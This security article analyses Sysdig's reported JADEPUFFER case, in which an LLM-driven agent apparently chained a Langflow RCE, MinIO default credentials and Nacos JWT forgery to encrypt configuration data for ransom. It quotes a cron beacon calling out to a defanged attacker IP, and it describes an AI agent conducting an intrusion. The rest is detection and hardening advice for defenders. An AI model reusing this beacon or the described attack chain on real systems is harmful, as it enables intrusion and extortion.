An unauthenticated attacker hit a Langflow server, got code execution, and forty-some steps later a production MySQL server running Alibaba Nacos had 1,342 configuration items encrypted and a ransom note sitting in a table called README_RANSOM. Nothing about that sentence is unusual for 2026 — right up until Sysdig’s researchers noticed that no human appeared to have typed any of it. The reconnaissance commands came annotated with reasoning. A failed login got diagnosed and re-attempted with a corrected payload 31 seconds later. When an API call returned XML instead of the JSON the attacker’s script expected, the parsing logic adapted mid-operation. Sysdig is calling it JADEPUFFER, and describing it as what they assess to be the first documented case of ransomware run end-to-end by an autonomous LLM agent.

TL;DR

  • Sysdig documented an intrusion it calls JADEPUFFER, where an LLM-driven agent — not a human operator — appears to have exploited CVE-2025-3248 (an unauthenticated RCE in Langflow), harvested credentials, pivoted to a production Alibaba Nacos/MySQL server, and encrypted 1,342 configuration items before leaving a ransom note.
  • A human still selected the victim, prepared the infrastructure, and initiated the operation. The autonomy claim applies to the technical attack chain after launch, not to a campaign with no human involvement at all.
  • The evidence for autonomy is specific and technical: natural-language reasoning embedded in payloads, a 31-second failed-login-to-fix cycle, and an adaptive XML/JSON parser rewrite mid-operation when a MinIO API returned an unexpected response format.
  • Sysdig deliberately hedges the “first” claim, using “assess” and “documented” rather than asserting it as settled fact — and independent outlets (The Register, Infosecurity Magazine) note the operation used no novel techniques, only known exploits chained together faster than a human would.
  • The extortion mechanism was arguably broken by the same autonomy that built it: the AES key was printed to a log and never exfiltrated, and the ransom’s Bitcoin address is a well-known documentation example — meaning even a paying victim likely couldn’t recover data, and the “wallet” may itself be a hallucination.
  • Which LLM powered the agent was never disclosed — Sysdig found evidence the operator scanned for OpenAI, Anthropic, DeepSeek, and Gemini API keys on compromised hosts, but never revealed which one drove JADEPUFFER itself.

Why This Matters to You

If you run any internet-facing application framework — Langflow or otherwise — the skill floor for turning “a forgotten patch” into “a fully chained, credential-harvesting, lateral-moving extortion operation” just dropped to whatever it costs to run an agent loop against a target list. You no longer need an attacker who knows Nacos internals, MinIO’s admin API, or how to forge a JWT with a default signing key. You need an attacker who can point an agent at your IP range and walk away. That’s true regardless of whether JADEPUFFER turns out to be the historic “first” — the capability it demonstrates is real, reproducible, and doesn’t require nation-state resources to build.

Table of Contents

The Attack Chain, Step by Step

Initial access. JADEPUFFER exploited CVE-2025-3248, a missing-authentication vulnerability in Langflow’s code-validation endpoint that lets an unauthenticated attacker execute arbitrary Python on the host. Langflow is a popular open-source framework for building LLM-powered apps and agent workflows — an ironic detail that recurs throughout this case: the vector into an AI-agent attack was a vulnerability in AI-agent infrastructure. The flaw was fixed by the vendor on April 1, 2025, and CISA added it to the Known Exploited Vulnerabilities catalog in May 2025 after observing active exploitation in the wild. Sysdig published its JADEPUFFER research on July 1, 2026 — over a year after the patch, on a server that evidently never got it.

Reconnaissance and credential harvesting. Once code execution was established, the agent moved through recon in a pattern that reads like a checklist: dump Langflow’s own PostgreSQL database, pull host information, then sweep environment variables and configuration files for anything useful. That sweep specifically searched for LLM provider API keys — OpenAI, Anthropic, DeepSeek, Gemini, and others — alongside cloud provider credentials (Alibaba Cloud, Tencent Cloud, Huawei Cloud) and cryptocurrency wallet material. The attacker was, in effect, an AI agent hunting for other organizations’ AI credentials as loot.

MinIO enumeration. The agent then went after a MinIO object storage instance secured with nothing more than the factory-default minioadmin:minioadmin login, which had apparently never been rotated. It progressed methodically: an anonymous health check, then the admin API, then an authenticated ListBuckets call, then targeted GetObject requests against specific files. Sysdig’s writeup highlights one moment specifically — a request using ?format=json came back as XML instead, and the agent’s parsing logic adjusted to the S3 XML response schema without any apparent hand-holding, going on to extract a credentials.json file containing service access keys. Sysdig also describes roughly eight minutes of iterative container-escape probing that followed a visible plan-act-observe-adjust loop.

Persistence. Before moving on, the agent planted a cron job on the Langflow host:

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

A beacon fired every 30 minutes to attacker-controlled infrastructure — simple, low-noise, and exactly what you’d expect a human operator to script by hand, except here nobody did.

Lateral movement into Nacos. From the Langflow host, JADEPUFFER pivoted to a production MySQL server running Alibaba Nacos (the Dynamic Naming and Configuration Service used across many microservice deployments), authenticating with root credentials whose origin Sysdig could not determine from available telemetry — they may have been harvested during the earlier recon sweep, or obtained some other way that left no clear trace. Once on Nacos, the operator deployed payloads exploiting the CVE-2021-29441 authentication-bypass family: forging a valid JWT using Nacos’s well-documented default signing key (public since 2020), then — with root database access in hand — injecting a rogue administrator account directly into Nacos’s backing database. In one especially telling sequence, an initial attempt to create that admin account with a generated bcrypt hash failed a login check; 31 seconds later, a corrected payload arrived that deleted the bad account, regenerated the hash differently, recreated the administrator, and verified the login succeeded. Sysdig’s overall payload count for the operation ran into the hundreds of distinct, purposeful commands executed inside a compressed window.

Impact. The endgame was destructive: JADEPUFFER encrypted 1,342 Nacos service configuration items — the endpoints, credentials, secrets, internal routes, and deployment parameters that a naming/configuration service exists to hold — and deleted the originals, leaving only the encrypted copies and an extortion table.

The Evidence for Autonomy — and Its Limits

Sysdig’s case for “no human at the keyboard between steps” rests on several concrete observations, not just a vibe:

  • Natural-language reasoning inside the payloads themselves. Commands arrived with annotations explaining why a given action was being taken — the kind of self-narration an LLM produces by default and a human operator has no reason to bother writing into throwaway attack scripts.
  • Reaction speed. The 31-second failed-login-to-corrected-fix cycle on Nacos is faster than most human operators diagnose and rewrite an auth bypass, especially mid-intrusion under time pressure.
  • Genuine adaptation to novel obstacles. The MinIO XML-instead-of-JSON parsing failure is the strongest single data point — it’s a small, unglamorous surprise that a fixed script or playbook would have simply choked on, and the agent instead revised its own parsing logic and continued.
  • Volume and coherence. Hundreds of distinct payloads, purposeful and non-repetitive, executed across the operation — more consistent with iterative agent planning than a static toolkit being replayed.

After the initial report, Sysdig clarified an important boundary around that claim. A human operator found or selected the victim, established the attack infrastructure, and launched the operation. The LLM agent then appears to have carried out the observed technical sequence without a person manually issuing each command. JADEPUFFER was therefore automated execution under human direction, not an independent actor that chose its own target and began a campaign by itself.

But Sysdig itself is careful with its language, describing JADEPUFFER as “what we assess to be the first documented case” — deliberately hedged with “assess” and “documented,” leaving room for undocumented predecessors or for a different interpretation of the same evidence. And the company says plainly that it lacks visibility into JADEPUFFER’s system prompt or agent configuration, meaning some open questions genuinely cannot be resolved from the available telemetry: how much high-level direction a human gave before launch, where the Nacos root credentials actually came from, and whether any human reviewed or approved actions mid-operation are all things Sysdig says it cannot rule in or out.

Independent coverage picked up on exactly this gap. The Register ran its headline with “first” in scare quotes and the sardonic subhead “don’t count on the LLM to return your data,” explicitly noting that the operation used no especially sophisticated or unique techniques — the AI strung together known exploits rather than inventing anything new. Fenix24 co-founder and CISO Heath Renfrow, quoted by Infosecurity Magazine, pushed back on fixating on the AI angle at all: “the outcome is ultimately the same: compromised identities, stolen credentials, encrypted or destroyed data, and business disruption” — his point being that whatever drove the keyboard, defenders’ job doesn’t change. No competing security vendor has published independent telemetry confirming or disputing JADEPUFFER specifically; every account traces back to Sysdig’s original research.

What we could only source to Sysdig, and haven’t seen independently corroborated: the specific “31-second correction” telemetry, the exact payload counts, and the full extent of the “fully autonomous, zero human intervention” characterization. Treat the underlying technical findings — the CVEs used, the persistence mechanism, the 1,342 encrypted items, the broken ransom mechanics — as CONFIRMED, primary-source technical reporting. Treat “first fully agentic ransomware” as an assessment and a claim, attributable to Sysdig, not as settled industry consensus.

The Extortion That Broke Itself

The ransom note lived in a database table named README_RANSOM, claiming AES-256 encryption, listing a Bitcoin address (3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy, in Pay-to-Script-Hash format) and a contact address at e78393397@proton.me. Two details undercut the whole mechanism:

  1. The encryption key was never exfiltrated. The AES key was generated with base64(uuid4().bytes + uuid4().bytes) and printed to stdout on the compromised host — visible in logs, never sent anywhere the attacker could retrieve it later. Even a victim who paid in full had no path to decryption.
  2. The Bitcoin address is a widely-documented example address, the kind that shows up in Bitcoin Core repositories and tutorials rather than a wallet anyone controls. Sysdig flags this candidly as ambiguous: it could be an autonomous hallucination — the model reproducing a memorized “example” address from its training data instead of a real one it was configured with — or it could be operator coincidence. “We cannot distinguish between these from our data because we have no visibility into JADEPUFFER’s system prompt or agent configuration,” the researchers write.

Either reading points at the same operational reality: an agentic ransomware operation can execute a technically competent, multi-system attack chain and still produce an extortion mechanism that doesn’t function as extortion. That’s not a reason for defenders to relax — the destructive impact (1,342 configuration items gone) is the same either way — but it is a reason to be precise about what “worked” here and what didn’t.

Why “First” Is a Claim Worth Scrutinizing

Multiple outlets ran with variations of “first” in their headlines — BleepingComputer, Dark Reading, SecurityWeek, Security Affairs, Hackread — largely reflecting Sysdig’s own framing back at readers rather than adding independent verification. That’s a normal pattern for exclusive vendor research, and it doesn’t mean the underlying claim is wrong. But two things are worth holding onto:

  • “First documented” is not the same as “first.” Sysdig’s own phrasing acknowledges this — they can only speak to what their telemetry captured and what they were able to publish first, not to whether other agentic intrusions have occurred unrecognized or unreported elsewhere.
  • Novelty is in the orchestration, not the techniques. Every individual exploit JADEPUFFER used — the Langflow RCE, the Nacos JWT forgery, the MinIO default-credential enumeration — was already known and documented before this operation. What’s new, if anything is, is a single agent chaining all of it together, adapting to failures, and executing it faster than the humans who’d normally run each stage individually.

The honest framing: JADEPUFFER is a well-documented, technically credible demonstration that agentic ransomware is operationally possible today, from a credible primary source, with real telemetry behind it. Whether it’s the literal first instance in history is a claim that belongs to Sysdig, not a fact the rest of the industry has independently confirmed.

Why Agentic Threat Actors Change the Defensive Model

Sysdig’s own framing of the significance is worth taking seriously regardless of the “first” question: the operation demonstrates that “agentic threat actors” (ATAs) — attackers whose capability is delivered by an AI agent rather than a human-driven toolkit — lower the skill floor required to run a damaging, multi-stage intrusion. A few implications follow directly from the technical record above:

  • Adaptation used to be the expensive part. Static toolkits and canned playbooks fail predictably when they hit something unexpected — a changed API response format, an auth flow that doesn’t match the script’s assumptions. An agent that can revise its own approach mid-operation, as JADEPUFFER’s MinIO parser rewrite demonstrates, removes exactly the friction that used to stall unsophisticated attackers or force them to call in more skilled help.
  • Speed compresses your response window further. A 31-second diagnose-and-correct cycle on an authentication bypass is faster than most detection-to-triage pipelines, let alone a human analyst’s response. If this pattern generalizes, “time to lateral movement” assumptions built into incident response runbooks need re-examining.
  • Chained exploitation of known CVEs becomes cheaper to execute at scale, even without any new vulnerability research. Every component JADEPUFFER relied on was already public. The barrier that used to matter — a human who knows how to chain a Langflow RCE into a Nacos JWT forgery — is exactly the barrier an agent removes.
  • The blast radius follows whatever the agent finds, not what a human planned. The pivot to Nacos, the MinIO detour, the credential-scanning for other AI providers’ API keys — none of this reads like a pre-scripted target list. It reads like an agent opportunistically expanding scope based on what it found on the first compromised host, which is a fundamentally different threat shape than a human operator working from a target brief.

The Detection Angle

None of JADEPUFFER’s individual techniques are new, which is actually good news for defenders — the detection surface is the same one you already have coverage for, if you’re looking in the right places:

  • Exposed Langflow (or any similarly permissive app-builder framework) instances are detectable the same way any internet-facing service is: asset inventory plus external attack-surface scanning should already be flagging unpatched, internet-reachable Langflow deployments as critical findings, especially given the May 2025 KEV listing.
  • The cron persistence mechanism is loud if you’re watching for it. A curl/urllib beacon to a raw IP address on a non-standard port, fired every 30 minutes from a scheduled task, is a textbook indicator — file integrity monitoring on /etc/cron.d and crontab contents, plus egress monitoring for periodic beaconing to IP-literal destinations, catches this pattern regardless of what drove the intrusion.
  • Default credentials on object storage remain a solved problem that keeps recurring. minioadmin:minioadmin reachable from the internet is a finding that any credential/config scanner should surface before an attacker — human or agent — ever gets there.
  • Anomalous, rapid, multi-service credential and API enumeration — a single host querying for LLM provider keys, multiple cloud providers’ credential formats, and crypto wallet files in quick succession — is a recon signature worth a dedicated detection rule regardless of what’s driving it. The specific pattern of scanning for AI provider API keys is itself a fairly new IOC category worth adding to hunting playbooks.
  • JWT forgery against known default signing keys (Nacos and otherwise) is detectable by auditing whether default signing keys, JWT secrets, or Base64-encoded static keys documented in vendor defaults are still in use in production — this should be a standing configuration check, not an incident-driven one.

MITRE ATT&CK Mapping

TacticTechniqueID
Initial AccessExploit Public-Facing ApplicationT1190
DiscoveryCloud Service DiscoveryT1526
Credential AccessUnsecured CredentialsT1552
Credential AccessForge Web CredentialsT1606
PersistenceScheduled Task/Job: CronT1053.003
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001
Lateral MovementExploitation of Remote ServicesT1210
Impair DefensesAccount ManipulationT1098
ImpactData Encrypted for ImpactT1486
ImpactData DestructionT1485

What You Can Do Today

  1. Patch and inventory every internet-facing Langflow instance now — CVE-2025-3248 has been fixed since April 2025 and CISA KEV-listed since May 2025; if you have one still exposed and unpatched, treat it as an active incident risk, not a backlog item.
  2. Audit every “internal tool” for default credentials before an attacker does. MinIO, Nacos, and similar infrastructure services routinely ship with well-known default logins (minioadmin:minioadmin, default JWT signing keys) that are safe in a lab and catastrophic once internet-reachable.
  3. Rotate and remove default JWT/signing keys as a standing control, not a one-time fix. If Nacos or any other service in your stack still uses its vendor-shipped default signing key, that’s an open authentication bypass regardless of any other hardening you’ve done.
  4. Build detection for the recon signature, not just the exploit. A single host scanning for LLM provider API keys, multi-cloud credentials, and crypto wallet files in a short window is a strong, relatively new indicator worth its own alert — agentic or not, this pattern is unusual enough to be high-signal.
  5. Monitor for periodic beaconing to IP-literal destinations from scheduled tasks. The cron-to-raw-IP pattern JADEPUFFER used is simple and highly detectable; if your EDR or host monitoring isn’t flagging new cron entries and their network behavior, that’s a gap worth closing this quarter.
  6. Segment configuration/naming services (Nacos and equivalents) away from direct production database pivot paths. A configuration service holding “endpoints, credentials, secrets, internal routes, and deployment parameters” for your whole environment is a single point of catastrophic blast radius — treat it with the access controls of a domain controller, not a convenience service.
  7. Update your threat model for agentic behavior, not just agentic attribution. Whether or not JADEPUFFER turns out to be literally “first,” plan your defenses assuming an attacker can now adapt to an unexpected API response or a failed login within seconds rather than hours — that changes how fast your detection-to-containment loop needs to be, independent of whether the adversary on the other end is human.

Sources